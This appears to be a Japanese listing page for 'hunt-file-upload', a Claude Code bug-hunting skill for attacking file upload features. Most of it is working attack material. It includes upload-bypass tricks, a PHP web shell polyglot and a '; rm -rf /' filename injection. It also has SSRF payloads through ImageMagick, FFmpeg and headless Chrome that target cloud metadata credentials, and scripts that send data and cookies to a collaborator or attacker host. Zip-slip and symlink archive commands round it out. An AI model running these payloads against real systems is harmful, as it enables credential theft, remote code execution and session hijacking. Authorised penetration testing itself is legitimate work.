hunt-file-upload について
hunt-file-uploadは、ファイルアップロードと関連する処理経路を評価するセキュリティテスト用スキルです。検証の回避手法を整理し、XSS、XXE、SSRF、アーカイブのパストラバーサルなどを調べます。
主な機能
- 01拡張子、MIME、マジックバイトの回避
- 02SVG、Office文書、アーカイブの攻撃検査
- 03ImageMagickとFFmpegの処理テスト
- 04HTMLからPDFへの変換におけるSSRF検査
- 05影響と再現性の検証
活用シーン
- 01アップロード検証とファイル形式処理のテスト
- 02画像・メディア処理におけるSSRFの評価
- 03アーカイブ展開時のパストラバーサル検査
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-file-uploadインストール後、Claude Code で/hunt-file-uploadを入力して読み込まれたか確認します。
詳細
9. ファイルアップロード
Content-Type のバイパス
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
ファイルアップロードのバイパス手法(10 種類)
| 攻撃 | 方法 | 防止策 |
|---|---|---|
| 拡張子のバイパス | shell.php.jpg、shell.pHp、shell.php5 | 許可リストを使用し、最後の拡張子を抽出する |
| Null バイト | shell.php%00.jpg | Null バイトをサニタイズする |
| 二重拡張子 | shell.jpg.php | 単一の拡張子のみを許可する |
| MIME の偽装 | .php の本文に Content-Type: image/jpeg を指定 | MIME ヘッダーではなくマジックバイトを検証する |
| マジックバイトの先頭付加 | PHP コードの先頭に GIF89a; を付加する | ヘッダーだけでなくファイル全体を解析する |
| ポリグロット | JPEG と PHP の両方として有効 | 画像ライブラリで処理し、無効なら拒否する |
| SVG JavaScript | <svg onload="..."> | SVG をサニタイズするか、完全に禁止する |
| DOCX 内の XXE | Office ZIP 内の悪意ある XML | 外部エンティティを無効にする |
| ZIP スリップ | アーカイブ内の ../../../etc/passwd | 展開パスを検証する |
| ファイル名インジェクション | ファイル名に ; rm -rf / を含める | サニタイズし、UUID の名前を使用する |
マジックバイトのリファレンス
| 種類 | 16 進数 |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
SVG 経由の格納型 XSS
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
ImageMagick / FFmpeg の悪用
ImageMagick の SSRF / ファイル読み取り(ImageTragick 系および最新の亜種)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
HLS プレイリスト経由の FFmpeg SSRF
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
ヘッドレス Chrome / PDF ジェネレーターの SSRF
HTML → PDF コンバーターへの攻撃
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources
# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'
# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl -s -X POST "https://$TARGET/api/generate-pdf" \
-H "Content-Type: application/json" \
-d "{\"html\": \"$PAYLOAD\"}"
アーカイブ展開攻撃(Zip Slip / シンボリックリンク)
# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip
# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/
# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/
# Test: upload to any /import, /extract, /unzip endpoint
curl -s -X POST "https://$TARGET/api/import" \
-F "file=@/tmp/zipslip.zip"
関連するスキルと攻撃チェーン
hunt-rce— 従来型の PHP/JSP/ASPX スタックで、直接アクセス可能なアップロードディレクトリ、またはデシリアライザーに渡される処理系が見つかると、ファイルアップロードは RCE に至る最も一般的な経路です。攻撃チェーンの例:ポリグロットGIF89a;<?php system($_GET['c']);?>でマジックバイト検査を回避し、.phtml拡張子で許可リストを回避 →GET /uploads/shell.phtml?c=id→ RCE。または、file_exists()を呼び出すシンクに攻撃者が制御するパスを指定して PHPphar://をアップロード → PHP オブジェクトのデシリアライズ → RCE。hunt-xxe— Office 形式(DOCX/XLSX/PPTX)、SVG、SOAP 添付ファイルは ZIP 内の XML です。アップロードと解析を行う機能はすべて、潜在的な XXE の候補です。攻撃チェーンの例:[Content_Types].xmlまたはword/document.xmlに、攻撃者が制御する DTD を指すパラメーターエンティティ DTD を含む DOCX をアップロード → ブラインド XXE による OOB ファイル読み取り → ドキュメントパーサー経由で/etc/passwdまたはweb.configを外部へ流出させる。hunt-xss— アップロード後に同一オリジンで配信される SVG、HTML ファイル、PDF は、格納型 XSS の温床です。攻撃チェーンの例:<script>fetch('//attacker/?'+document.cookie)</script>を含む SVG をアップロード → 被害者が添付ファイルapp.target.com/uploads/x.svgを閲覧(同一オリジンで、サンドボックス化されていない) → Cookie の窃取 → セッションハイジャックによる ATO。hunt-ssrf— 画像処理ライブラリ(ImageMagick、ffmpeg)は、アップロードされたファイル内のリモート URL を取得します。攻撃チェーンの例:<image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/">を含む SVG/MVG、またはconcat:http://internal/...を使う ffmpeg をアップロード → AWS IMDS への SSRF → クラウド認証情報の取得。ImageTragick の CVE-2016-3714 系は、古い環境で今も有効です。security-arsenal— ファイルアップロードのバイパス手法を活用します。拡張子/MIME/マジックバイトのバイパス表(10 項目。二重拡張子、Null バイト、大文字小文字の違い、.phtml/.phar/.php5/.pht、ハンドラーを再有効化するための.htaccessアップロード、IIS でのweb.configアップロード)、SVG/MVG/SVGZ ペイロード、DOCX-XXE テンプレート、アーカイブ内の ZIP スリップによるパストラバーサル、ポリグロット生成ツール。triage-validation— 再現性ゲートを適用します。ファイルのアップロードに成功しても、それが配信も実行も解析もされない場合、発見事項ではなく、書き込み専用のデータです。重大な RCE には、アップロードしたシェルから実際にwhoamiのラウンドトリップを確認する必要があります。格納型 XSS には、ファイルがディスク上に存在するだけでなく、被害者のブラウザーでポップアップが表示される必要があります。
コメント
Markdown 対応